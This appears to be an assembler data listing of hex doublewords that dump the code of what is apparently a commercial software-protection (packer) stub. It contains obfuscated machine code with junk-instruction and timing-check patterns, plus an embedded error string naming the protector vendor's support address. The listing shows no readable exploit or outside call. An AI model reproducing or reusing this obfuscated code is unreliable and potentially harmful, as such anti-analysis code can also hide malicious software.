		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 894EC356h, 6FAFBD8Dh, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BAB94BC3h, 5062CCF9h, 0C1E9h, 0D8B96000h, 6616E091h
		dd 6990CA81h, 2AFB8361h, 80850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 451A87C3h
		dd 6D8C0BFEh, 880FD140h, 4, 615E5160h, 6FB7BD8Dh, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 9847D9C3h, 318269Ch,	0DE903h, 0E1740000h, 5F9B774Dh
		dd 0F8176773h, 0F9B63133h, 3DE9h, 0B800F00h, 60000000h
		dd 0FD3B70Fh, 88h, 0FB836100h, 0A3850F27h, 0E9000003h
		dd 5, 93DD0458h, 0BFBD8DAEh, 0E906166Fh, 0Eh, 0FBA081C4h
		dd 0FC21FE3Bh, 4C82C4F4h, 0BD89BBB3h, 6166FCFh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B5C35343h, 8C66909Eh
		dd 50006AC8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8A0F561Eh, 8, 2870Fh, 61600000h,	11E960h
		dd 3DD70000h, 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh, 618065A1h
		dd 0FC600324h, 0D20CBF66h, 0FC00A61h, 24985h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B58D3D63h, 6167739h, 9D858BF8h, 6A061677h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 678DC351h, 0F60F841h, 1581h,	10E900h, 8B020000h, 0F7756861h
		dd 0E8BD1A0h, 56996B76h, 9261C6A0h, 10E95250h, 0A8000000h
		dd 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h, 0F1DCD14h, 198B0F31h
		dd 0E9000000h, 14h, 0E7F1D87Ah,	0F9234222h, 0ABB545BBh
		dd 8C9F1F3Fh, 9AEC221h,	5050585Ah, 0BE952h, 0A4210000h
		dd 81AAA0CAh, 3ABEAB4Eh, 0E9310F4Ah, 14h, 5FD93DAh, 0FE51BFFFh
		dd 0C0E6E17Fh, 0A25DA4A2h, 32F299Fh, 0E992585Ah, 0Eh, 2318468Bh
		dd 7F63214Fh, 7417D3BCh, 10F56A6h, 6AFE244Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0E548C352h, 4F88EF62h, 0F5AB560h, 0F83h, 0AE900h, 51B10000h
		dd 37165F58h, 1BFBC055h, 1D8C0F61h, 60000000h, 10E8h, 59354500h
		dd 902F20D7h, 482C4580h, 0D4FC016Ah, 81665BD0h,	6173B4C9h
		dd 55006A5Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 44114CE8h, 0DE630A1Fh, 0C2836160h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 46BCE42Ah, 0C57D058Bh, 1820F09h, 0F5000000h,	0FC728966h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B6C35343h
		dd 6E99D39Eh, 9E9917Fh,	0
		dd 18A2ACB6h, 651828FFh, 6A10CEC1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C773C350h
		dd 0B0775C70h, 2D798CB7h, 728966F8h, 56006A02h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0D7F7AD4h
		dd 0F04CD1Ch, 186h, 0A7E9F800h,	60000000h, 0BE9h, 0F31C3400h
		dd 0EA7025E0h, 0A539AFA8h, 3DF4D081h, 0F611DE0h, 189h
		dd 858BF800h, 616779Dh,	19860Fh, 14E90000h, 2000000h, 8AFB2137h
		dd 60A5AE26h, 0A237BD94h, 9C39C401h, 8D5B83F1h,	167739B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 69269F39h, 657C8148h, 8DF59EBDh,	16448385h
		dd 17850F06h, 0F000000h, 1180h,	0CE900h, 9450000h, 0AB77DD40h
		dd 6F3D8671h, 0D0FFBA2Ch, 0C840Fh, 8B0F0000h, 6, 870Fh
		dd 85890000h, 6166FC7h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F1C35747h, 0CE91Ah, 37E50000h, 6A38DBDAh
		dd 4F9DE351h, 6A61E8FBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0B1EFC355h,	6FC7858Bh
		dd 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 60F5C0C3h, 1EDF8166h, 0D1DE81F7h,	615302F3h
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 2F2BA31Eh, 9DE03B35h, 0E852607Eh, 0Bh, 0B6A56C88h
		dd 444926FFh, 5BDEAF17h, 60FC615Eh, 0A9F08160h,	0F2A684Ah
		dd 18Dh, 8361F900h, 16779DBDh, 850F0006h, 39h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0D503EAEDh
		dd 7E93BB5h, 0F9000000h, 0CCBD3324h, 85C785E6h,	616779Dh
		dd 1013Fh, 7E9FCh, 820F0000h, 1, 20CDF9h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 6166FCFh, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 6166FCBh, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 6166FC7h, 8B04EBh, 8B61C5EBh, 166FC785h, 8F0FCF06h
		dd 0Ch,	68D0Fh,	840F0000h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 34C35747h
		dd 1830F01h, 0FC000000h, 0E9C08Bh, 4, 33000000h, 69206E41h
		dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh
		dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h
		dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h
		dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh
		dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 10ABh, 68D0Fh, 85290000h, 6130061h, 0C9858BF9h
		dd 6A061307h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0A311C352h, 0BDA7D144h, 244439F5h
		dd 51850F04h, 0F000000h, 783h, 18E0F00h, 0FC000000h, 1505BD83h
		dd 0F000613h, 3784h, 85853100h,	8D061319h, 133AAD85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0E0FFB720h, 6890Fh, 95890000h, 6131B29h, 10D1858Bh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 8CFF9CC3h, 34DED881h, 24443964h, 41850F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0EA09C356h, 0B918501h,	85C70613h
		dd 6167C1Dh, 1,	0FE9h, 0B0C6A200h, 25963FECh, 0C1968396h
		dd 0AC9E592Ah, 57006A60h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0FA03011Bh, 28E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 14E11D4Ch, 5EADFB32h, 21h, 1B800h, 85870000h, 6167D73h
		dd 0F675C00Bh, 11E1B5FFh, 858F0613h, 6167C15h, 0FF6A206Ah
		dd 0D0995FFh, 0BD830613h, 61334A1h, 6A087400h, 0A995FF00h
		dd 8306130Dh, 1322C1BDh, 0D740106h, 8068h, 0FFFF6A00h
		dd 130D0995h, 0BF0F6006h, 0BD8950C3h, 6132165h,	11E9615Bh
		dd 4F000000h, 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h
		dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD896456h, 6131CE1h, 68A0Fh, 0B5890000h
		dd 61301C5h, 2824548Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 69C35242h, 0F5C9469Ah, 6E9h, 360B7800h
		dd 891AB606h, 132BC585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 91118387h, 8D3113C1h
		dd 6130619h, 3CBEh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8D2996F6h, 6131D3Dh, 24247403h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h
		dd 3869B607h, 0A253B878h, 1A6D8589h, 8D0F0613h,	0Eh, 9E9h
		dd 92A87700h, 34D1B342h, 0AD662E91h, 0BE9h, 0CDADD800h
		dd 2B4C1A1Ch, 0CB9FB466h, 24244403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B7C35242h,	0FC8F39E9h, 1DC7362Ah
		dd 0CE960BAh, 62000000h, 50AC2C69h, 6898037Fh, 890EE9D2h
		dd 1316458Dh, 0F906106h, 88Bh, 2830F00h, 60000000h, 0F605061h
		dd 281h, 61616000h, 408BF990h, 51006A78h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E82A963Ah
		dd 839EE147h, 167C1DBDh, 850F0006h, 0DEh, 5E9h,	4E35A800h
		dd 0E9503157h, 9, 25605CABh, 62EF1CF0h,	240489E1h, 24448BFCh
		dd 51006A2Ch, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 8529F593h, 6130F01h, 60525050h, 0AE95B51h
		dd 2A000000h, 0C51D4835h, 754D3FE9h, 310F613Ah,	52505250h
		dd 585A310Fh, 0EE9310Fh, 3A000000h, 343C93EBh, 6D01DDD2h
		dd 2039C0A3h, 5A585A31h, 24048958h, 23E19589h, 858D0613h
		dd 6164B4Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	2C35242h, 0F8C8811Ch, 17398D29h, 0D0FF0613h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 63C35747h, 1F87D7C6h
		dd 8FC78857h, 9E59D09h,	44030613h, 6A2824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0BBF59C3h
		dd 0EF26CDBFh, 8D29604Ch, 6130AE9h, 2C099589h, 8B610613h
		dd 6A1840h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 7016EEC3h, 25CB0F75h, 19840FF9h, 0E9000000h
		dd 14h,	9294DF88h, 1AA11296h, 0E26236DFh, 71A82CA5h, 0BCDE5065h
		dd 55006A40h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 2A3F103Dh, 36AB86B7h, 0E8F0Fh, 0F600000h
		dd 87h,	19BD0300h, 6106130Fh, 7C198589h, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0F960C8C3h, 24399D89h, 0E9610613h, 0Dh, 90229DFCh, 6315DBBDh
		dd 0B35CCCD3h, 896058CBh, 131E39BDh, 0AEEB8106h, 6173D0BAh
		dd 1BB5B589h, 708B0613h, 45BD2978h, 8306132Ah, 6A1CC6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 1E3A2AC3h, 0A23A6639h, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 16744705h
		dd 0F8F515AEh, 24247C81h, 10000000h, 0D6870Fh, 85010000h
		dd 6131F91h, 52506050h,	0B866310Fh, 585A847Dh, 1F9074BAh
		dd 4896171h, 0EE924h, 0A0CD0000h, 0EA3EC897h, 0D5962F76h
		dd 9E3B5BEAh, 2824448Bh, 413ABE60h, 85895C92h, 6130E45h
		dd 52505061h, 0BB585360h, 30364C58h, 60310F61h,	0A5BF5F51h
		dd 617634F1h, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 89D1996Ch, 1306C59Dh
		dd 21958906h, 8D06130Fh, 164B4C85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0D0FF11F4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DCC35747h
		dd 0A9C0B323h, 6800Fh, 0BD290000h, 6133201h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0FE4C5F0Eh, 29504F4Ch, 131DED8Dh, 81666006h,	2BB2FBC6h
		dd 13252995h, 74036106h, 0AE92424h, 84000000h, 296BE6BAh
		dd 0F61735E3h, 0C1BD8D60h, 6A061318h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6A47C351h
		dd 9691946h, 0C9D288DCh, 60F5ADF9h, 3161B529h, 0EE90613h
		dd 0E000000h, 0C7E3B394h, 0A751E660h, 2E43063Dh, 7C8161E9h
		dd 2424h, 870F1000h, 0D3h, 0C810Fh, 8E0F0000h, 6, 0F59501h
		dd 8B600613h, 132BCD85h, 60506106h, 8B6640B7h, 48961C6h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 3F58B12Ah, 10D239A2h, 8B607F5Ah,	130CF985h
		dd 448B6106h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 58E984C3h, 2F427687h, 8501BA22h
		dd 613204Dh, 6E990h, 18560000h,	22118253h, 13820F50h, 0E9000000h
		dd 0Eh,	1990DE5Ch, 0C2B46B43h, 0E2FE8A43h, 0E9907EE9h
		dd 0Ah,	0D6A6F456h, 15DE1B36h, 858D40A8h, 6164B4Ch, 1069B589h
		dd 0D0FF0613h, 58F0F60h, 66000000h, 0DE7CCF81h,	36130B5h
		dd 0FC242444h, 0FA81F9ABh, 10000h, 6E7820Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 171D12C3h, 0A28C0A0Eh, 95013DB8h,	6130F91h
		dd 951BD8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 3135C3h,	5195890Dh, 0AD061313h
		dd 1890Fh, 81F50000h, 24247Ch, 0F100000h, 0CC87h, 0E950F500h
		dd 8, 614E175Dh, 0EDBBA115h, 0F240489h,	680h, 0C5958900h
		dd 8B061307h, 29282444h, 131EB1BDh, 14E99006h, 0C2000000h
		dd 0CB8171ECh, 1D8558C7h, 83AE9C60h, 0D29258AEh, 50EFE4BBh
		dd 0DE960h, 40F40000h, 993B2CDEh, 60319586h, 663960A0h
		dd 615A21B8h, 14E990h, 226C0000h, 24B2D189h, 0BA7AA1F2h
		dd 0A7035CBCh, 0A67A854Fh, 858D21CCh, 6164B4Ch,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h, 7D0D4666h
		dd 7FD4B99Dh, 7DB589E7h, 0FF06131Ah, 50006AD0h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 9C2CC59h, 130921B5h
		dd 24440306h, 75B58924h, 50061329h, 0F605250h, 85h, 10BA6600h
		dd 310F6118h, 0CE8B6660h, 5A615852h, 24048958h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h, 0C7E5879Dh
		dd 0B8D4E4C2h, 50006AABh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 822D09A8h, 0F6C935Bh
		dd 689h, 0C9852900h, 89061304h,	132B6985h, 55BD8D06h, 6A06131Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E9BFC350h, 0Bh, 38B87774h, 77747621h, 0AD2138B8h
		dd 21A98D89h, 7C810613h, 2824h,	870F1000h, 10Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 1CC35040h, 800F506Ch
		dd 19h,	14E9h, 63B82800h, 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h
		dd 6E7555Ch, 24048915h,	0F5CB8B60h, 24448B61h, 0E19D092Ch
		dd 9006131Ah, 14E95250h, 0E8000000h, 21866D22h,	8DA85874h
		dd 0EBC1B9D0h, 0DD71F070h, 0F3C9D7Eh, 61606031h, 50585A61h
		dd 0E8C78B60h, 0Ah, 0E66F37E0h,	0B856A1F6h, 52502A91h
		dd 585A310Fh, 6A906158h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E9CCC355h,	89FCF5B0h
		dd 1331B585h, 4C858D06h, 6A06164Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F578C355h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F8341DC3h, 0EE9h, 360E4B00h, 20169E43h
		dd 86A4974h, 34C7151h, 89282444h, 132049BDh, 8800F06h
		dd 60000000h, 34A0BB66h, 0AB61FDB5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 3BC35242h, 0F91C1A4Ch, 978534Eh
		dd 130D9D95h, 0DE906h, 0CCFD0000h, 77383EA6h, 9ED7179Ch
		dd 5EC9AE82h, 7C198DFFh, 0BD830616h, 6167C19h, 330A7500h
		dd 0B3B58DC0h, 0FF06168Ah, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 164B4C85h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6167C15h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2BC585FFh
		dd 5DE90613h, 5EFFFFFFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 36C35646h, 0F761A067h, 8BE18A6Ch, 48B0Fh
		dd 53600000h, 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 1944ABC3h, 0EDC475CFh, 3160B099h
		dd 1305959Dh, 10E906h, 0B1D60000h, 950667ACh, 5F5851B1h
		dd 0C0553716h, 8B611BFBh, 132BC585h, 65B58906h,	0D1061301h
		dd 11E9E0h, 906D0000h, 0B463A8FEh, 3D370EFAh, 0A954C516h
		dd 0F08E257h, 68Eh, 0E1852900h,	3061323h, 131B5585h, 0E7816006h
		dd 44554301h, 2A6D8589h, 2B610613h, 6A96F8F6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E921C352h, 0Ah, 5151E804h, 7FFDDF8h, 860F24C9h, 1
		dd 6AAD66FCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C0B9C350h, 7E9h, 0D0A2F400h
		dd 99679504h, 22800Fh, 8B600000h, 1311998Dh, 14E806h, 2B4A0000h
		dd 36FA0C14h, 0DB8A0E97h, 0FCCCF348h, 55FDE3F1h, 615F9BFEh
		dd 0F02E0C1h, 684h, 7D8D0100h, 3061300h, 1318C185h, 5E906h
		dd 79650000h, 0FC76F934h, 11E96096h, 40000000h,	0B2DDDD36h
		dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 870FAD61h, 0Ch, 68E0Fh
		dd 0B5890000h, 6130BD1h, 24247C81h, 10000000h, 0D0870Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 8F643DC3h, 902BA271h, 0BE9h, 0D54D9F00h
		dd 7A46CD5Fh, 0A36E7519h, 0EE96050h, 0AF000000h, 56720090h
		dd 0E4E18D4Bh, 1E84B9EDh, 0F906143h, 0E8Fh, 958B6000h
		dd 6130D49h, 10718D03h,	8B610613h, 0E9282444h, 9, 4CB6E04Eh
		dd 0D39F0C07h, 0BF609008h, 5E336577h, 0DDED11BAh, 0E9506122h
		dd 0Ch,	5112A638h, 50F30C3Bh, 0D161B2BCh, 99858990h, 8D061316h
		dd 164B4C85h, 0DE906h, 24DE0000h, 85661A5Eh, 0A1D5071Bh
		dd 0FF170AFBh, 840F60D0h, 13h, 0DE8h, 36965E00h, 804E94DBh
		dd 0B7B16393h, 8B5EF057h, 131EF9B5h, 44036106h,	6A2424h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0EA94D7C3h, 89FE7CE4h, 130C318Dh, 24448906h,	0AD85011Ch
		dd 0C6061320h, 1311E185h, 85C70006h, 6167D73h, 0
		dd 7C1D85C7h, 616h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 16068C3h, 13147185h
		dd 0F5616106h, 890008C2h, 132071BDh, 0C1858B06h, 60061318h
		dd 68B002BBh, 61CA8B2Dh, 51006A4Ah, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0BD9D59CBh, 8509F186h
		dd 6131C05h, 0F04D26Bh,	0D8Dh, 81666000h, 0FD82BEAh, 80h
		dd 0C2036100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	4AC35040h, 4AB20722h, 3C38160h,	80641F4Bh, 0E961E2CDh
		dd 0Eh,	0D46E0CE8h, 974BF0CAh, 0C3368ECDh, 6A96FFCFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0BF3EC350h, 12880Fh,	0DE90000h, 6D000000h, 9F676B44h
		dd 4EA91D44h, 0B9E55903h, 6AADF5h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 3D2493C3h, 93487BF5h
		dd 0E995246Bh, 11h, 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h
		dd 247C81EFh, 24h, 9B870F10h, 89000000h, 130A699Dh, 11E906h
		dd 47B80000h, 0A1378231h, 0D06C65C5h, 0D6F4C6EEh, 50FBAE64h
		dd 0CE9h, 985FFA00h, 0BADA3444h, 0F08DC89Ch, 24048934h
		dd 24448BFCh, 5090F528h, 6840F52h, 0F000000h, 82h, 60310F00h
		dd 810F6160h, 0
		dd 50585A61h, 66F2B160h, 6197C7BBh, 81666090h, 0E916E3E6h
		dd 13h,	0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 967F3D16h, 61E93F65h
		dd 4B4C858Dh, 56600616h, 62D8529h, 8B580613h, 1307719Dh
		dd 0D0FF6106h, 581BD31h, 0D3E90613h, 6AFFFFFDh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8DDBC351h, 168F5E85h, 81666006h, 8B685FD0h, 132535B5h
		dd 60506106h, 32BBA66h,	5AFA8B50h, 24048961h, 10E9h, 8B43F900h
		dd 0C1670DE0h, 0E643689h, 0C6DAB8F9h, 35FF6438h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 43C35242h
		dd 0EE9B008h, 95000000h, 0A6809BEAh, 1A043F6Ah,	0B8DB5A24h
		dd 24048B5Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	17C35646h, 5185892Eh, 6006131Dh, 5840Fh, 81660000h
		dd 811D4DC0h, 0C4BCABCEh, 8964614Bh, 25h, 0E19D2900h, 8D06131Bh
		dd 168DD285h, 6860F06h,	89000000h, 1330218Dh, 1608906h
		dd 92D9509h, 0DE90613h,	41000000h, 0E28507CBh, 8660A79Eh
		dd 4CDFF07Eh, 1D4E9h, 0BD896000h, 6131FD1h, 0B8423BBEh
		dd 0DB8B6176h, 0E8h, 0ED815D00h, 6168DCBh, 12FF9CBCh, 0C1BD8300h
		dd 61322h, 858B1874h, 6130F55h,	8B0000C6h, 13206D85h, 0C606h
		dd 1CBD95FFh, 0FF600613h, 167821B5h, 25858D06h,	50061678h
		dd 7A1D858Dh, 0FF500616h, 13118595h, 0CC48306h,	8E961h
		dd 3DB0000h, 0A3677F54h, 6ADA42h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 27CEC4C3h, 4D4182A3h
		dd 9D01A657h, 613141Dh,	70BA6660h, 76DF8182h, 615C2DE5h
		dd 1DB58DF8h, 8906167Ah, 13169D8Dh, 9BD8D06h, 60061326h
		dd 0FC88B66h, 487h, 1BB6600h, 95896159h, 6131459h, 0F003E80h
		dd 3D84h, 0E9A4F900h, 9, 11FF97BDh, 864EE295h, 68F0FCCh
		dd 89000000h, 1320859Dh, 0FFD6E906h, 8A0FFFFFh,	16h, 11E9h
		dd 9E01FC00h, 5578CB04h, 34E5628Bh, 0FD125AC5h,	0B8FECEh
		dd 0E9000000h, 0Eh, 0ED057B10h,	116D8F10h, 29B0C9DBh, 6AAAB3CAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C7E3C353h, 7B8E660h, 60000000h, 595BD89h
		dd 7E90613h, 61000000h,	295B191h, 0C76194E5h, 1321BD85h
		dd 106h, 13E900h, 0C6B50000h, 9989FAC1h, 68AC2494h, 20497A16h
		dd 863241E1h, 8D8D8DB8h, 6006134Fh, 0AE641DB9h,	61D08B66h
		dd 880FE1FFh, 0Ch, 6870Fh, 95890000h, 6132595h,	0C245C8Bh
		dd 0E855h, 815D0000h, 168F68EDh, 0B8838B06h, 89000000h
		dd 16782185h, 0C4858D06h, 8906168Dh, 0B883h, 0C0335D00h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F75E8B01h, 11E99EC3h, 6E000000h, 0C38A8664h
		dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 6850Fh, 9D310000h
		dd 613219Dh, 1820Fh, 60F80000h,	168C0Fh, 11E90000h, 5C000000h
		dd 75569483h, 7F819D15h, 9543C30Ah, 0E2212C4Ch,	918F858Dh
		dd 50F50616h, 1E810Fh, 52500000h, 310F6160h, 11E9h, 0B2103A00h
		dd 0EC35166Dh, 8A3AFE92h, 0F2FD2E4Fh, 585A1B60h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 7F64C350h, 870FAAF7h, 6, 0F2D8531h, 0FF640613h
		dd 35h,	1860F00h, 0F9000000h, 258964h, 0E9000000h, 0Ah
		dd 8759051Fh, 59310C61h, 8D09410Bh, 6132FA5h, 9237858Dh
		dd 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0B5C5F1C3h, 9D89692Bh, 6131AF5h, 1F858D29h
		dd 60890613h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0B6B010A8h, 0B1E4F51Ch, 89FC6CF2h
		dd 1305B595h, 0E185C606h, 4F061311h, 31F18509h,	7A680613h
		dd 0E9DE83ECh, 10h, 0DA0BDC52h,	35DB9D57h, 0B094751Fh
		dd 84343E0Ah, 50243481h, 9204B98h, 130FC9BDh, 65B58906h
		dd 0FF061325h, 131EE9B5h, 0E9952906h, 8D061328h, 167C3385h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 3A72DC8Bh, 47E82A96h, 0C8F0Fh, 8C0F0000h
		dd 6, 8D0Fh, 0D0FF0000h, 953160F8h, 6130C4Dh, 0CEE961F5h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 9D80C351h, 29C9E7DEh, 13189585h
		dd 245C8B06h, 0E8550Ch,	5D000000h, 9199ED81h, 858B0616h
		dd 613116Dh, 1EE98589h,	858B0613h, 61310D1h, 1FE58589h
		dd 858B0613h, 61307C9h,	55D8589h, 85C60613h, 61311E1h
		dd 7385C700h, 6167Dh, 8D000000h, 16923785h, 0B8838906h
		dd 5D000000h, 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 8D88C357h, 82657B30h
		dd 8D89D663h, 6131EEDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 36C35040h, 0E97CE55Ah, 98B9500h, 131541B5h
		dd 0FF74BC06h, 6A0012h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0B53415C3h, 0A7985804h, 0B589334Ah
